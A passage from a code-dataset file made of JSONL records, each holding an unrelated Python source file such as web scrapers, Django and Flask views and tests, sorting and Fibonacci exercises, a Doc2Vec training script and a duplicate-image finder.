RPCInterface(supervisord)\n","sub_path":"supvisors/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":4807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"607874293","text":"import bs4 as bs\nimport requests\nimport numpy as np\nimport pandas as pd\nimport re\nimport os\n\n\ndef extractNumber(string_value):\n number = re.findall(r'\\d+', string_value)\n return number\n\n\ndef spider(max_pages):\n page=0\n name = list()\n price = list()\n\n while page < max_pages:\n url = 'http://www.asos.com/men/hoodies-sweatshirts/cat/?cid=5668&nlid=mw|clothing|shop+by+product/page' + str(page+1)\n source_code = requests.get(url).text\n soup = bs.BeautifulSoup(source_code,\"html.parser\")\n\n for link in soup.find_all('a', {'class': '_3x-5VWa'}):\n name.append(link.get('aria-label'))\n\n for link in soup.find_all('span', {'class':'_342BXW_'}):\n data = link.text\n data = data.strip('£')\n price.append(float(data))\n\n page = page +1\n\n name = np.asanyarray(name)\n price = np.asanyarray(price)\n\n data = {'price':price,'title': name}\n dataFrame = pd.DataFrame(data)\n print(dataFrame)\n\n return\n\n\nspider(10)\n","sub_path":"Spyder.py","file_name":"Spyder.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"274837058","text":"from django.test import TestCase\nfrom main import models\nfrom django.core.files.images import ImageFile\nfrom decimal import Decimal\nimport logging\n\n\nclass TestThumbnailSignals(TestCase):\n def test_thumbnails_are_created_on_save(self):\n product = models.Product(\n name=\"The cathedral and the bazaar\",\n price=Decimal(\"20.00\")\n )\n product.save()\n\n with open(\"main/fixtures/the-cathedral-the-bazaar.jpg\", \"rb\") as f:\n image = models.ProductImage(\n product=product,\n image=ImageFile(f, name=\"tctb.jpg\"),\n )\n logger = logging.getLogger(\"main\")\n with self.assertLogs(logger, level=\"INFO\") as cm:\n image.save()\n\n self.assertGreaterEqual(len(cm.output), 1)\n image.refresh_from_db()\n\n with open(\"main/fixtures/the-cathedral-the-bazaar.thumb.jpg\", \"rb\") as tn:\n expected_content = tn.read()\n thumbnail = image.thumbnail.read()\n assert thumbnail == expected_content\n\n image.thumbnail.delete(save=False)\n image.image.delete(save=False)\n\n","sub_path":"django/main/tests/test_signals.py","file_name":"test_signals.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"445318639","text":"from xlrd import open_workbook\r\nfrom django.conf import settings\r\nimport re\r\n\r\n# Excel files will be named \"year div.xlsx\"\r\ndef getRollNos (year, div):\r\n\tbook = open_workbook (settings.BASE_PATH + \"mentorship/static/Roll Nos/%s %s.xlsx\"%(year,div))\r\n\r\n\t# first sheet\r\n\tsheet = book.sheet_by_index (0)\r\n\r\n\tstudents = []\r\n\r\n\tfor ind in range(sheet.nrows):\r\n\t\ttemp = sheet.row_values(ind)\r\n\t\tif re.match(\"[0-9]+\", str(temp[0])):\r\n\t\t\tstudents.append ((int(temp[0]), temp[1]))\r\n\t\telse:\r\n\t\t\tstudents.append ((temp[0], temp[1]))\r\n\r\n\treturn students\r\n","sub_path":"mentorship/administrator/excel.py","file_name":"excel.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"17753489","text":"#!/bin/env python\n\n#\n# Jed Dobson\n# James.E.Dobson@Dartmouth.EDU\n# June 2020\n# \n# htrc-vector-project\n#\n\n\nimport csv\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\nimport bz2\n\npages = list()\n# open CSV file and read individual pages of tokens\nwith bz2.open('drama_17412.csv.bz2','rt',encoding = \"ISO-8859-1\") as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n pages.append(row),\n\nprint(\"finished reading\")\n# produce tagged_data\ntagged_data = [TaggedDocument(words=_d, tags=[str(i)]) for i, _d in enumerate(pages)]\n\nprint(\"creating model\")\nmodel = Doc2Vec(tagged_data, \n dm=1, # operate on paragraphs with distributed memory model\n vector_size=300, # larger vector size might produce better results\n min_count=5, # drop words with very few repetitions\n window=100, # larger window size because of extracted features\n workers=4)\n\nprint(\"saving model\")\nmodel.save(\"doc2vec-07-28-2020-drama.w2v\")\n","sub_path":"scripts/mkmodel_csv.py","file_name":"mkmodel_csv.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"457074360","text":"from typing import List\n# Solution - 1 (GREEDY approach) O(n) time O(1) space\n'''\nFollows the idea of greedy approach\nwe keep calculating current max and compare it with global max\nUpdate global max if current max > global max\nNote since only positive numbers will increase cur_sum, \ngreedy approach works here with current accumulated sum vs num at current index.\n'''\ndef max_sub_array(self,nums:List[int]) -> int:\n n = len(nums)\n cur_sum = max_sum = nums[0]\n\n for i in range(1,n):\n cur_sum = max(nums[i],cur_sum + nums[i])\n max_sum = max(cur_sum,max_sum)\n return max_sum\n\n\n# Solution 2 - KADANES algorithm DP approach O(n) time O(1) space (since implemented with same array)\n'''\nFollows the idea of adding numbers only if they are \ngreater > 0 ( positive ) and using the current array \nas dp table. keep comparing to global max reached so far\nand return. Note if dont want to modify input array, can store\nextra dp table.\n'''\ndef max_sub_array_dp(self,nums:List[int]) -> int:\n n = len(nums)\n\n max_sum = nums[0]\n for i in range(1,n+1):\n # Only add positive numbers\n if nums[i-1] > 0:\n # Store in current array to get max sum so far\n nums[i] = nums[i] + nums[i-1]\n max_sum = max(max_sum,nums[i])\n return max_sum\n","sub_path":"LeetCode/FAQ/10-Maximum-Contiguous-Sum-Easy/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"494098761","text":"'''\nBOURDON ANTOINE-ALEXIS\nTP3 ALGO3\nL2 2018-2019\n'''\n\nimport time\nimport random\n\ndef fibonacci(n):\n\t'''Fonction calculant une suite de fibonacci de maniere recursive.\n\t\n\tint -> int'''\n\tif n<=1:\n\t\treturn 1\n\treturn fibonacci(n-1)+fibonacci(n-2)\n\ndef fibonacci_iteratif(n):\n\t'''Fonction calculant une suite de fibonacci de maniere interative.\n\t\n\tint -> int'''\n\ti=0\n\t# attention sur les sldes f(0) = 1 donc p =1\n\tp, q=1,1\n\twhile i int'''\n\tif n==0:\n\t\treturn p\n\telse :\n\t\treturn fibonacci_terminale(n-1,q,p+q)\n\ndef comparaison_fibo(n):\n\ttemp1 = time.time()\n\tfibonacci(n)\n\tprint(\"Pour \",n,\" , la suite fibonacci recursive fait un temps de \",time.time()-temp1,\" secondes\")\n\n\ttemp1 = time.time()\n\tfibonacci_iteratif(n)\n\tprint(\"Pour \",n,\" , la suite fibonacci itérative fait un temps de \",time.time()-temp1,\" secondes\")\n\n\ttemp1 = time.time()\n\tfibonacci_terminale(n)\n\tprint(\"Pour \",n,\" , la suite fibonacci terminale fait \",time.time()-temp1,\" secondes\")\n\n##2\n\ndef fac_iterative(n):\n\t'''Fonction calculant le factoriel de n de maniere iterative.\n\t\n\tint -> int'''\n\tres=1\n\tfor i in range(2, n+1):\n\t\tres=res*i\n\treturn res\n\ndef fac_recursive(n):\n\t'''Fonction calculant le factoriel de n de maniere recursive.\n\t\n\tint -> int'''\n\tif n == 0:\n\t\treturn 1\n\telse :\n\t\treturn fact_recursive(n-1)*n\n##3\n\ndef liste_recur(l,i=0,j=1):\n\t'''Fonction renvoyant la somme de l[i]l[j].\n\t\n\tint -> int'''\n\tif (i==len(l)-2) and (j==len(l)-1):\n\t\treturn l[i]*l[j]\n\telif (j==len(l)-1):\n\t\treturn l[i]*l[j]+ liste_recur(l,i+1,i+2)\n\telse:\n\t\treturn l[i]*l[j]+ liste_recur(l,i,j+1)\n\n##4\ndef entier_intervalle(liste,nb1,nb2):\n\t'''Prend une liste d'entier et des intervalles pour vérifier si ils sont bien dans la liste\n\tliste--> Liste\n\tnb1--> int\n\tnb2--> int\n\treturn bool'''\n\tfor i in range (nb1,nb2+1):\n\t\tif i not in liste:\n\t\t\treturn False\n\treturn True\n\n##5\n\n\ndef fusion(l1,l2):\n\t'''Fonction la fusion de deux listes\n\t\n\tlist, list -> list'''\n\tif l1==[]:\n\t\treturn l2\n\telif l2==[]:\n\t\treturn l1\n\telif l1[0] list'''\n\tif l1 == []:\n\t\treturn fusion(l2,l3)\n\telif l2 == []:\n\t\treturn fusion(l1,l3)\n\telif l3 == []:\n\t\treturn fusion(l2,l1)\n\telif l1[0]0 and tableau[j-1]>en_cours:\n\t\t\ttableau[j]=tableau[j-1]\n\t\t\tj = j-1\n\t\t\t#on insère l'élément à sa place\n\t\ttableau[j]=en_cours\n\t\t\n\t\n\ndef fusion(gauche,droite):\n\tresultat = []\n\tindex_gauche, index_droite = 0, 0\n\twhile index_gauche < len(gauche) and index_droite < len(droite):\t\t\n\t\tif gauche[index_gauche] <= droite[index_droite]:\n\t\t\tresultat.append(gauche[index_gauche])\n\t\t\tindex_gauche += 1\n\t\telse:\n\t\t\tresultat.append(droite[index_droite])\n\t\t\tindex_droite += 1\n\tif gauche:\n\t\tresultat.extend(gauche[index_gauche:])\n\tif droite:\n\t\tresultat.extend(droite[index_droite:])\n\treturn resultat\n\t \ndef tri_fusion(m):\n\tif len(m) <= 1:\n\t\treturn m\n\tmilieu = len(m) // 2\n\tgauche = m[:milieu]\n\tdroite = m[milieu:]\n\tgauche = tri_fusion(gauche)\n\tdroite = tri_fusion(droite)\n\treturn list(fusion(gauche, droite))\n\n\n\ndef tri_rapide(tableau):\n\tif not tableau:\n\t\treturn []\n\telse:\n\t\tpivot = tableau[-1]\n\t\tplus_petit = [x for x in tableau\t if x < pivot]\n\t\tplus_grand = [x for x in tableau[:-1] if x >= pivot]\n\t\treturn tri_rapide(plus_petit) + [pivot] + tri_rapide(plus_grand)\n\ndef generer_exo6(n,i,j):\n\t'''Fonction generant une liste de n valeur entre i et j\n\tint, int, int -> list'''\n\treturn random.sample(range(i,j), n)\n\ndef comparaison_exo6(l):\n\t'''\n\tfonction qui compare les 3 tris vu en cours, affiche leur temps.\n\tMeilleur tri : 1e-rapide puis 2e-fusion pour finir par 3e-insection.\n\tArguments :\n\t\t-None\n\tRetour:\n\t\t-None\n\t'''\n\n\ttemps1_inser = time.time()\n\ttri_insertion(l.copy())\n\tprint(\"Pour le tableau 1 en tri Insertion nous sommes à \",time.time()-temps1_inser,\" secondes\")\n\n\ttemps1_fusion = time.time()\n\ttri_fusion(l.copy())\n\tprint(\"Pour le tableau 1 en tri fusion nous sommes à \",time.time()-temps1_fusion,\" secondes\")\n\n\ttemps1_rapide = time.time()\n\ttri_rapide(l.copy())\n\tprint(\"Pour le tableau 1 en tri rapide nous sommes à \", time.time()-temps1_rapide, \" secondes\\n\")\n\n","sub_path":"L2/semestre3/algo3/TPs/TP03/BOURDON_Antoine-Alexis_TP3.py","file_name":"BOURDON_Antoine-Alexis_TP3.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"236664315","text":"\"\"\"\nThis file demonstrates writing tests using the unittest module. These will pass\nwhen you run \"manage.py test\".\n\nReplace this with more appropriate tests for your application.\n\"\"\"\nimport unittest\nfrom unittest import TestCase\n\nfrom aliyun_oss.backends.oss import OSSStorage, OSSStorageFile\n\n\nclass SimpleTest(TestCase):\n def setUp(self):\n DEFAULT_FILE_STORAGE = 'aliyun_oss.backends.oss.OSSStorage'\n OSS_ACCESS_URL = ''\n OSS_ACCESS_KEY_ID = ''\n OSS_SECRET_ACCESS_KEY = ''\n OSS_STORAGE_BUCKET_NAME = ''\n from aliyun_oss.backends import oss\n oss.ACCESS_ADDRESS = OSS_ACCESS_URL\n oss.ACCESS_KEY_NAME = OSS_ACCESS_KEY_ID\n oss.SECRET_KEY_NAME = OSS_SECRET_ACCESS_KEY\n oss.HEADERS = {}\n oss.DEFAULT_ACL = 'public-read'\n oss.OSS_STORAGE_BUCKET_NAME = OSS_STORAGE_BUCKET_NAME\n oss.BUCKET_PREFIX = ''\n self.storage = OSSStorage(bucket=OSS_STORAGE_BUCKET_NAME,\n access_key=OSS_ACCESS_KEY_ID,\n secret_key=OSS_SECRET_ACCESS_KEY\n )\n\n def test(self):\n fname = '3rd/jquery-2.2.1.min.js'\n rt = self.storage.exists(fname)\n print('exists', rt)\n fd = OSSStorageFile(name=fname, storage=self.storage, mode='r')\n content = fd.open(fname)\n fd = open('/tmp/aaa.txt', 'w')\n fd.write(content)\n fd.close()\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"aliyun_oss/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"439818850","text":"# Given an array of integers nums and an integer target, return indices of the \n# two numbers such that they add up to target. \n# \n# You may assume that each input would have exactly one solution, and you may \n# not use the same element twice. \n# \n# You can return the answer in any order. \n# \n# \n# Example 1: \n# \n# \n# Input: nums = [2,7,11,15], target = 9\n# Output: [0,1]\n# Output: Because nums[0] + nums[1] == 9, we return [0, 1].\n# \n# \n# Example 2: \n# \n# \n# Input: nums = [3,2,4], target = 6\n# Output: [1,2]\n# \n# \n# Example 3: \n# \n# \n# Input: nums = [3,3], target = 6\n# Output: [0,1]\n# \n# \n# \n# Constraints: \n# \n# \n# 2 <= nums.length <= 10⁴ \n# -10⁹ <= nums[i] <= 10⁹ \n# -10⁹ <= target <= 10⁹ \n# Only one valid answer exists. \n# \n# \n# \n# Follow-up: Can you come up with an algorithm that is less than O(n²) time \n# complexity? Related Topics Array Hash Table 👍 24709 👎 815\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nfrom typing import List\n\n\nclass Solution:\n \"\"\"\n O(N) Time\n O(N) Space\n \"\"\"\n\n def twoSum(self, nums: List[int], target: int) -> List[int]:\n complements = {}\n for index, value in enumerate(nums):\n complement = target - value\n if complement in complements:\n return [index, complements[complement]]\n else:\n complements[value] = index\n # leetcode submit region end(Prohibit modification and deletion)\n\n\nsolution = Solution()\ny = solution.twoSum([2, 7, 11, 15], 9)\nprint(y)\n","sub_path":"leetcode/editor/en/[1]Two Sum.py","file_name":"[1]Two Sum.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"105893206","text":"# coding: utf-8\n\nfrom flask import Blueprint, request, g, current_app\n\nfrom eru import consts\nfrom eru.models import App\nfrom eru.models.appconfig import verify_appconfig\nfrom eru.utils.decorator import jsonify, check_request_json, check_request_args\nfrom eru.utils.exception import EruAbortException\n\nbp = Blueprint('app', __name__, url_prefix='/api/app')\n\n@bp.route('//', methods=['GET', ])\n@jsonify\ndef get_app(name):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_NOT_FOUND, 'App %s not found' % name)\n return app\n\n@bp.route('///', methods=['GET', ])\n@jsonify\ndef get_version(name, version):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_NOT_FOUND, 'App %s not found' % name)\n\n v = app.get_version(version)\n if not v:\n raise EruAbortException(consts.HTTP_NOT_FOUND, 'Version %s not found' % version)\n return v\n\n@bp.route('/register/', methods=['POST', ])\n@jsonify\n@check_request_json(['name', 'version', 'git', 'token', 'appyaml'])\ndef register_app_version():\n data = request.get_json()\n name = data['name']\n\n version = data['version']\n\n app = App.get_or_create(name, data['git'], data['token'])\n if not app:\n current_app.logger.error('App create failed. (name=%s, version=%s)', name, version[:7])\n raise EruAbortException(consts.HTTP_BAD_REQUEST,\n 'App %s create failed, maybe token duplicated' % name)\n\n v = app.add_version(version)\n if not v:\n current_app.logger.error('Version create failed. (name=%s, version=%s)', name, version[:7])\n raise EruAbortException(consts.HTTP_BAD_REQUEST, 'Version %s create failed' % version[:7])\n\n appyaml = data['appyaml']\n try:\n verify_appconfig(appyaml)\n except (ValueError, KeyError) as e:\n raise EruAbortException(consts.HTTP_BAD_REQUEST, e.message)\n\n appconfig = v.appconfig\n appconfig.update(**appyaml)\n appconfig.save()\n current_app.logger.info('App-Version created. (name=%s, version=%s)', name, version[:7])\n return {'r': 0, 'msg': 'ok'}\n\n@bp.route('//env/', methods=['PUT', ])\n@jsonify\n@check_request_json('env')\ndef set_app_env(name):\n data = request.get_json()\n env = data.pop('env')\n\n app = App.get_by_name(name)\n if not app:\n current_app.logger.error('App (name=%s) not found, env (env=%s) set ignored.', name, env)\n raise EruAbortException(consts.HTTP_BAD_REQUEST, 'App %s not found, env set ignored' % name)\n\n envconfig = app.get_resource_config(env)\n envconfig.update(**data)\n envconfig.save()\n current_app.logger.error('App (name=%s) set env (env=%s) values done', name, env)\n return {'r': 0, 'msg': 'ok'}\n\n@bp.route('//env/', methods=['GET', ])\n@jsonify\n@check_request_args('env')\ndef get_app_env(name):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_BAD_REQUEST, 'App %s not found, env list ignored' % name)\n\n envconfig = app.get_resource_config(request.args['env'])\n return {'r': 0, 'msg': 'ok', 'data': envconfig.to_env_dict()}\n\n@bp.route('//listenv/', methods=['GET', ])\n@jsonify\ndef list_app_env(name):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_BAD_REQUEST)\n return {'r': 0, 'msg': 'ok', 'data': app.list_resource_config()}\n\n@bp.route('//containers/', methods=['GET', ])\n@jsonify\ndef list_app_containers(name):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_BAD_REQUEST, 'App %s not found, container list ignored' % name)\n return {'r': 0, 'msg': 'ok', 'containers': app.list_containers(g.start, g.limit)}\n\n@bp.route('//tasks/', methods=['GET', ])\n@jsonify\ndef list_app_tasks(name):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_BAD_REQUEST, 'App %s not found, container list ignored' % name)\n return {'r': 0, 'msg': 'ok', 'tasks': app.list_tasks(g.start, g.limit)}\n\n@bp.route('//versions/', methods=['GET', ])\n@jsonify\ndef list_app_versions(name):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_BAD_REQUEST, 'App %s not found, version list ignored' % name)\n return {'r': 0, 'msg': 'ok', 'versions': app.list_versions(g.start, g.limit)}\n\n@bp.route('///containers/', methods=['GET', ])\n@jsonify\ndef list_version_containers(name, version):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_BAD_REQUEST, 'App %s not found, env list ignored' % name)\n v = app.get_version(version)\n if not v:\n raise EruAbortException(consts.HTTP_NOT_FOUND, 'Version %s not found' % version)\n return {'r': 0, 'msg': 'ok', 'containers': v.list_containers(g.start, g.limit)}\n\n@bp.route('///tasks/', methods=['GET', ])\n@jsonify\ndef list_version_tasks(name, version):\n app = App.get_by_name(name)\n if not app:\n raise EruAbortException(consts.HTTP_BAD_REQUEST, 'App %s not found, env list ignored' % name)\n v = app.get_version(version)\n if not v:\n raise EruAbortException(consts.HTTP_NOT_FOUND, 'Version %s not found' % version)\n return {'r': 0, 'msg': 'ok', 'tasks': v.list_tasks(g.start, g.limit)}\n","sub_path":"eru/api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"624543248","text":"import requests\nimport bs4\nimport time\n\nbaseUrl = \"https://movie.douban.com/top250\"\n\n\ndef getUrl(url):\n head = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"\n \" (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\"\n }\n req = requests.get(url, headers=head)\n return req.text\n\n\n# dataList = [getUrl(baseUrl+\"?start=\"+str(x)) for x in range(0,250,25)] #列表生成式直接生成列表代码量少但是占用内存多，数据量大容易溢出\ndataListG = (getUrl(baseUrl + \"?start=\" + str(x)) for x in range(0, 250, 25)) # 生成器保存算法，节省内存空间,只占用一个元素的空间\n\ncount = 1\n# for i in dataList:\nfor i in dataListG:\n soup = bs4.BeautifulSoup(i,\"html.parser\")\n a = soup.findAll('div', class_='info') # 貌似有歧义class要带下划线\n for j in a:\n print(j.find(\"span\", class_=\"title\").text)\n print(count)\n count += 1\n","sub_path":"爬/douban.py","file_name":"douban.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"412721150","text":"from django.shortcuts import render_to_response,RequestContext\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom vertex.models import Vertex,Edge,Flow\nimport json\nfrom django.utils import timezone\n\n \ndef profile(request, user_id):\n\tclient = None\n\ttry:\n\t\teml = request.COOKIES[ 'email' ]\n\t\tpwd = request.COOKIES[ 'password' ]\n\t\tclient = Vertex.objects.get(email = eml)\n\t\tif client.password != pwd:\n\t\t\traise LookupError()\n\texcept:\n\t\tclient = None\n\t\t\n\ttry:\n\t\tvertex = Vertex.objects.get(user_id=user_id)\n \n\texcept :\n\t\treturn render_to_response('404error.html',\n\t\t\t{},\n\t\t\tcontext_instance=RequestContext(request))\n \n #flows = client.flow_set.order_by('-last_forward_date')[:5] \n\tme = False\n\tif client:\n\t\tif client.user_id == vertex.user_id:\n\t\t\tme = True\n\tif request.POST and client and not me:\n \n\t\ttry:\n\t\t\tnew_edge = Edge.objects.get(vertex_tail_id = client.user_id,vertex_head_id = user_id)\n\t\texcept:\n\t\t\tnew_edge = Edge(vertex_tail_id = client.user_id,vertex_head_id = user_id)\n\t\t\tnew_edge.save()\n\t\n\t\n\tif me:\n\t\treturn render_to_response('vertex.html',\n\t\t\t{\"VERTEX_DETAIL\":\"yourself\",\"VERTEX_ID\":user_id, \"FOLLOWING_VERTEX\":vertex.get_following(), \"FOLLOWER_VERTEX\":vertex.get_followers(), },\n\t\t\tcontext_instance=RequestContext(request))\n\telse:\n\t\treturn render_to_response('vertex.html',\n\t\t\t{\"VERTEX_DETAIL\":vertex.firstname+' '+vertex.lastname,\"VERTEX_ID\":user_id,\"FOLLOWING_VERTEX\":vertex.get_following() , \"FOLLOWER_VERTEX\":vertex.get_followers(), },\n\t\t\tcontext_instance=RequestContext(request))\n\t\n\treturn HttpResponse(\"You're looking at vertex %s.\" % vertex)\ndef postflow(request,user_id):\n flow_text = request.POST['flow_text']\n pub_date = timezone.now()\n newflow = Flow.objects.create(text = flow_text,pub_date = timezone.now(),last_forward_date = timezone.now(),owner = user_id)\n vertex = Vertex.objects.get(user_id = user_id)\n newflow.set_history(vertex.user_id)\n newflow.save()\n vertex.flow_set.add(newflow)\n #gotta add others too\n \n \ndef forward(request,user_id):\n flow_text = request.POST['flow_text']\n forward_to = request.POST['forward_to']\n flow = Flow.objects.get(text = flow_text)\n flow.last_forward_date = timezone.now()\n flow.save()\n vertex = Vertex.objects.get(user_id = user_id)\n if forward_to == \"all\":\n followers_list = vertex.get_followers()\n for followers in followers_list:\n followers.flow_set.add(flow)\n followers.save()\n else:\n forward_list = [] #I'll change it later with the html\n for index,followers in enumerate(forward_list):\n follower = Vertex.objects.get(user_id = followers)\n follower.flow_set.add(flow)\n follower.save()\n \n \n \n \ndef like_flow(request,liker_id):\n flow_text = request.POST['flow_text']\n flow = Flow.objects.get(text = flow_text)\n flow.like(liker_id)\n flow.save()\n \n \n# Create your views here.\n","sub_path":"vertex/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"646550352","text":"# -*- coding: utf-8 -*-\nfrom flectra import fields, models, api, _\nimport ast\nfrom datetime import datetime\nfrom flectra.tools import DEFAULT_SERVER_DATETIME_FORMAT as DTF\nimport logging\n_logger = logging.getLogger(__name__)\n\nclass ColaEnvio(models.Model):\n _name = \"sii.cola_envio\"\n\n doc_ids = fields.Char(string=\"Id Documentos\")\n model = fields.Char(string=\"Model destino\")\n user_id = fields.Many2one('res.users')\n tipo_trabajo = fields.Selection([('pasivo', 'pasivo'), ('envio', 'Envío'),('consulta', 'Consulta')], string=\"Tipo de trabajo\")\n active = fields.Boolean(string=\"Active\", default=True)\n n_atencion = fields.Char(string=\"Número atención\")\n date_time = fields.Datetime('Auto Envío al SII')\n\n def _procesar_tipo_trabajo(self):\n docs = self.env[self.model].browse(ast.literal_eval(self.doc_ids))\n if self.tipo_trabajo in [ 'pasivo' ]:\n if docs[0].sii_result not in ['', 'NoEnviado']:\n self.unlink()\n return\n if self.date_time and datetime.now() >= datetime.strptime(self.date_time, DTF):\n for d in docs:\n d.sii_result = 'EnCola'\n try:\n docs.do_dte_send()\n if docs[0].sii_send_ident:\n self.tipo_trabajo = 'consulta'\n except Exception as e:\n for d in docs:\n d.sii_result = 'NoEnviado'\n _logger.warning('Error en Envío automático')\n _logger.warning(str(e))\n return\n if docs[0].sii_send_ident and docs[0].sii_message and docs[0].sii_result in ['Proceso', 'Rechazado']:\n self.unlink()\n return\n else:\n for doc in docs :\n doc.responsable_envio = self.user_id\n if self.tipo_trabajo == 'envio' or not docs[0].sii_send_ident:\n try:\n docs.do_dte_send(self.n_atencion)\n if docs[0].sii_result not in ['', 'NoEnviado']:\n self.tipo_trabajo = 'consulta'\n except Exception as e:\n _logger.warning(\"Error en envío Cola\")\n _logger.warning(str(e))\n else:\n try:\n docs[0].ask_for_dte_status()\n except Exception as e:\n _logger.warning(\"Error en Consulta\")\n _logger.warning(str(e))\n\n @api.model\n def _cron_procesar_cola(self):\n ids = self.search([('active','=',True)])\n if ids:\n for c in ids:\n c._procesar_tipo_trabajo()\n","sub_path":"Free/l10n_cl_fe/models/sii_cola_envio.py","file_name":"sii_cola_envio.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"276203210","text":"from __future__ import print_function\n__docformat__ = 'restructedtext en'\n\nimport os\nimport sys\nimport timeit\nimport numpy\nimport theano\nimport theano.tensor as T\nfrom ann.lgrg.logistic_regression import LogisticRegression\nfrom ann.loader.mnist_loader import MnistLoader\nfrom ann.mlp.hidden_layer import HiddenLayer\n\nclass MLP(object):\n def __init__(self, rng, input, n_in, n_hidden, n_out, hW=None, hb=None, W=None, b=None):\n self.hiddenLayer = HiddenLayer(\n rng=rng,\n input=input,\n n_in=n_in,\n n_out=n_hidden,\n activation=T.tanh,\n W = hW,\n b = hb\n )\n self.logRegressionLayer = LogisticRegression(\n input=self.hiddenLayer.output,\n n_in=n_hidden,\n n_out=n_out,\n W = W,\n b = b\n )\n self.L1 = (\n abs(self.hiddenLayer.W).sum()\n + abs(self.logRegressionLayer.W).sum()\n )\n self.L2_sqr = (\n (self.hiddenLayer.W ** 2).sum()\n + (self.logRegressionLayer.W ** 2).sum()\n )\n self.negative_log_likelihood = (\n self.logRegressionLayer.negative_log_likelihood\n )\n self.errors = self.logRegressionLayer.errors\n self.params = self.hiddenLayer.params + \\\n self.logRegressionLayer.params\n self.input = input\n \n\n","sub_path":"ann/mlp/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"466519919","text":"import hashlib\nimport os\n\npath = r\"C:\\Users\\anuts\\Desktop\\审核图片\"\ndict0 = {1: '宾玉洁', 2: '陈波涌', 3: '陈雅婷', 4: '谌莹玲', 5: '邓汀', 6: '郭金花', 7: '胡娟', 8: '胡未珊', 9: '胡瑶', 10: '黄洁', 11: '黄璞', 12: '黄倩文', 13: '姜智藩', 14: '李港', 15: '李妮芝', 16: '李强', 17: '李秋慧',\n 18: '李艳桃', 19: '廖露芳', 20: '林芷仪', 21: '刘洁', 22: '', 23: '刘淇', 24: '刘诗佳', 25: '刘小静', 26: '卢玉婷', 27: '糜霞', 28: '任瑾', 29: '汤甜伊', 30: '田欢纯', 31: '王玲', 32: '王宗雄', 33: '吴德红', 34: '伍永玲',\n 35: '夏子婷', 36: '向成露', 37: '许可', 38: '鄢芳', 39: '尤鑫杰', 40: '张思琪', 41: '钟代霞', 42: '周玉金', 43: '周圆梦', 44: '黎娟', 45: '刘佩瑶', 46: '关琦月', 47: '蒋慧东', 48: '张艺凡', 49: '胡芬', 50: '袁选',\n 51: '雷文勇', 52: '李慧', 53: '陈彦宇', 54: '刘诗凤', 55: '陈柳汐'}\n#转化为int\ndef listturnint(list):\n splitparam = list.split('.', 1)\n paramstr = ''.join(splitparam[0])\n paramint = int(paramstr)\n if paramint > 55:\n # print(\"有一个值大于55，已抛异常！！\")\n return 0\n else:\n return paramint\n\n#函数功能：返回文件的md5值\ndef Remd5ValueDict(path):\n dc={}\n for root, dirs, files in os.walk(path):\n for i in files:\n file = os.path.join(root,i)\n md5 = hashlib.md5()\n md5file = open(file, 'rb')\n fd = md5file.read()\n md5.update(fd)\n dc[listturnint(i)]=md5.hexdigest()\n return dc\n\n\n#函数功能：判断文件是否重复\ndco = Remd5ValueDict(path)\ndcs = sorted(dco.items(), key=lambda d: d[1])\nprint(dcs)\n\ndef xaingtong(i, list):\n if i>> generate_log_array(['a','d'])\n ['a\\\\nd']\n >>> generate_log_array(['a', '2012', 'c'])\n ['a', '2012\\\\nc']\n '''\n log_arr = []\n last_start_line_n = 0\n for line_n, msg in enumerate(raw_msg_arr):\n if line_n > 0 and is_log_start(msg):\n msg_parts = raw_msg_arr[last_start_line_n: line_n]\n current_msg = \"\\n\".join(msg_parts)\n log_arr.append(current_msg)\n last_start_line_n = line_n\n msg_parts = 